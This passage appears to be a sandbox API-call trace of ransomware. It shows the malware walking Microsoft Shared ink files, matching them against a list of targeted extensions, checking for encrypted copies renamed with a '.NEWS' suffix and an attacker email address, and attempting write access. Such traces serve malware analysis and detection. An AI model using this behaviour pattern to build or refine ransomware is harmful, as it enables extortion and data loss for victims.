returned 72 [0198.301] lstrlenW (lpString=".dbf") returned 4 [0198.301] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.301] lstrlenW (lpString=".1cd") returned 4 [0198.301] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.301] lstrlenW (lpString=".jpg") returned 4 [0198.301] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.302] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0198.302] lstrlenW (lpString="correct.avi") returned 11 [0198.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0199.485] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=197120) returned 1 [0199.485] CloseHandle (hObject=0x284) returned 1 [0199.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0199.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0200.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.456] lstrlenW (lpString=".doc") returned 4 [0201.457] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0201.457] lstrlenW (lpString=".docx") returned 5 [0201.457] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0201.457] lstrlenW (lpString=".pdf") returned 4 [0201.457] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0201.457] lstrlenW (lpString=".xls") returned 4 [0201.457] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0201.457] lstrlenW (lpString=".xlsx") returned 5 [0201.457] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0201.457] lstrlenW (lpString=".ppt") returned 4 [0201.457] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0201.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.457] lstrlenW (lpString=".zip") returned 4 [0201.457] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0201.458] lstrlenW (lpString=".rar") returned 4 [0201.458] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0201.458] lstrlenW (lpString=".bz2") returned 4 [0201.458] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0201.458] lstrlenW (lpString=".7z") returned 3 [0201.458] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0201.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.458] lstrlenW (lpString=".dbf") returned 4 [0201.458] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0201.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.458] lstrlenW (lpString=".1cd") returned 4 [0201.458] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0201.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.459] lstrlenW (lpString=".jpg") returned 4 [0201.459] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0201.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.459] lstrlenW (lpString=".doc") returned 4 [0201.459] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0201.459] lstrlenW (lpString=".docx") returned 5 [0201.459] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0201.459] lstrlenW (lpString=".pdf") returned 4 [0201.459] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0201.459] lstrlenW (lpString=".xls") returned 4 [0201.460] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0201.460] lstrlenW (lpString=".xlsx") returned 5 [0201.460] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0201.460] lstrlenW (lpString=".ppt") returned 4 [0201.460] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0201.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.460] lstrlenW (lpString=".zip") returned 4 [0201.460] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0201.460] lstrlenW (lpString=".rar") returned 4 [0201.460] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0201.460] lstrlenW (lpString=".bz2") returned 4 [0201.460] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0201.460] lstrlenW (lpString=".7z") returned 3 [0201.460] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0201.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.461] lstrlenW (lpString=".dbf") returned 4 [0201.461] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0201.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.461] lstrlenW (lpString=".1cd") returned 4 [0201.461] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0201.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0201.462] lstrlenW (lpString=".jpg") returned 4 [0201.462] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0201.533] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.533] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0201.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.552] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=10947) returned 1 [0201.552] CloseHandle (hObject=0x28c) returned 1 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.553] lstrlenW (lpString=".doc") returned 4 [0201.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".docx") returned 5 [0201.553] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0201.554] lstrlenW (lpString=".pdf") returned 4 [0201.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".xls") returned 4 [0201.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".xlsx") returned 5 [0201.554] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0201.554] lstrlenW (lpString=".ppt") returned 4 [0201.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.560] lstrlenW (lpString=".zip") returned 4 [0201.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.560] lstrlenW (lpString=".rar") returned 4 [0201.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.560] lstrlenW (lpString=".bz2") returned 4 [0201.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.560] lstrlenW (lpString=".7z") returned 3 [0201.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.560] lstrlenW (lpString=".dbf") returned 4 [0201.561] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.561] lstrlenW (lpString=".1cd") returned 4 [0201.561] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.561] lstrlenW (lpString=".jpg") returned 4 [0201.561] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.561] lstrlenW (lpString=".doc") returned 4 [0201.561] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.562] lstrlenW (lpString=".docx") returned 5 [0201.562] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0201.562] lstrlenW (lpString=".pdf") returned 4 [0201.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.562] lstrlenW (lpString=".xls") returned 4 [0201.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.562] lstrlenW (lpString=".xlsx") returned 5 [0201.562] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0201.562] lstrlenW (lpString=".ppt") returned 4 [0201.562] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.562] lstrlenW (lpString=".zip") returned 4 [0201.562] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.562] lstrlenW (lpString=".rar") returned 4 [0201.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.563] lstrlenW (lpString=".bz2") returned 4 [0201.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.563] lstrlenW (lpString=".7z") returned 3 [0201.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.563] lstrlenW (lpString=".dbf") returned 4 [0201.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.563] lstrlenW (lpString=".1cd") returned 4 [0201.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.563] lstrlenW (lpString=".jpg") returned 4 [0201.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.564] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.564] lstrlenW (lpString="numbers.xml") returned 11 [0201.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0201.603] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=209) returned 1 [0201.603] CloseHandle (hObject=0x2b4) returned 1 [0201.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0201.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.604] lstrlenW (lpString=".doc") returned 4 [0201.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.604] lstrlenW (lpString=".docx") returned 5 [0201.604] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0201.604] lstrlenW (lpString=".pdf") returned 4 [0201.605] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.605] lstrlenW (lpString=".xls") returned 4 [0201.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.605] lstrlenW (lpString=".xlsx") returned 5 [0201.605] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0201.605] lstrlenW (lpString=".ppt") returned 4 [0201.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.605] lstrlenW (lpString=".zip") returned 4 [0201.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.606] lstrlenW (lpString=".rar") returned 4 [0201.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.606] lstrlenW (lpString=".bz2") returned 4 [0201.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.606] lstrlenW (lpString=".7z") returned 3 [0201.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.606] lstrlenW (lpString=".dbf") returned 4 [0201.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.606] lstrlenW (lpString=".1cd") returned 4 [0201.606] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.607] lstrlenW (lpString=".jpg") returned 4 [0201.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.607] lstrlenW (lpString=".doc") returned 4 [0201.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.607] lstrlenW (lpString=".docx") returned 5 [0201.607] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0201.607] lstrlenW (lpString=".pdf") returned 4 [0201.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.607] lstrlenW (lpString=".xls") returned 4 [0201.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.608] lstrlenW (lpString=".xlsx") returned 5 [0201.608] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0201.608] lstrlenW (lpString=".ppt") returned 4 [0201.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.608] lstrlenW (lpString=".zip") returned 4 [0201.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.608] lstrlenW (lpString=".rar") returned 4 [0201.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.608] lstrlenW (lpString=".bz2") returned 4 [0201.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.609] lstrlenW (lpString=".7z") returned 3 [0201.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.609] lstrlenW (lpString=".dbf") returned 4 [0201.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.609] lstrlenW (lpString=".1cd") returned 4 [0201.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0201.609] lstrlenW (lpString=".jpg") returned 4 [0201.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.610] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.610] lstrlenW (lpString="symbase.xml") returned 11 [0201.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0201.616] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2764) returned 1 [0201.616] CloseHandle (hObject=0x2b4) returned 1 [0201.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0201.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.617] lstrlenW (lpString=".doc") returned 4 [0201.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.617] lstrlenW (lpString=".docx") returned 5 [0201.617] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.617] lstrlenW (lpString=".pdf") returned 4 [0201.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.618] lstrlenW (lpString=".xls") returned 4 [0201.618] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.618] lstrlenW (lpString=".xlsx") returned 5 [0201.618] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.618] lstrlenW (lpString=".ppt") returned 4 [0201.618] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.618] lstrlenW (lpString=".zip") returned 4 [0201.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.618] lstrlenW (lpString=".rar") returned 4 [0201.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.618] lstrlenW (lpString=".bz2") returned 4 [0201.619] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.619] lstrlenW (lpString=".7z") returned 3 [0201.619] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.619] lstrlenW (lpString=".dbf") returned 4 [0201.619] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.619] lstrlenW (lpString=".1cd") returned 4 [0201.619] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.619] lstrlenW (lpString=".jpg") returned 4 [0201.620] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.620] lstrlenW (lpString=".doc") returned 4 [0201.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.620] lstrlenW (lpString=".docx") returned 5 [0201.620] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.620] lstrlenW (lpString=".pdf") returned 4 [0201.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.620] lstrlenW (lpString=".xls") returned 4 [0201.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.621] lstrlenW (lpString=".xlsx") returned 5 [0201.621] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.621] lstrlenW (lpString=".ppt") returned 4 [0201.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.621] lstrlenW (lpString=".zip") returned 4 [0201.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.621] lstrlenW (lpString=".rar") returned 4 [0201.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.621] lstrlenW (lpString=".bz2") returned 4 [0201.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.622] lstrlenW (lpString=".7z") returned 3 [0201.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.622] lstrlenW (lpString=".dbf") returned 4 [0201.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.622] lstrlenW (lpString=".1cd") returned 4 [0201.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0201.622] lstrlenW (lpString=".jpg") returned 4 [0201.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.623] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0201.623] lstrlenW (lpString="hwrenalm.dat") returned 12 [0201.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.288] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=747280) returned 1 [0206.288] CloseHandle (hObject=0x308) returned 1 [0206.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0206.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.289] lstrlenW 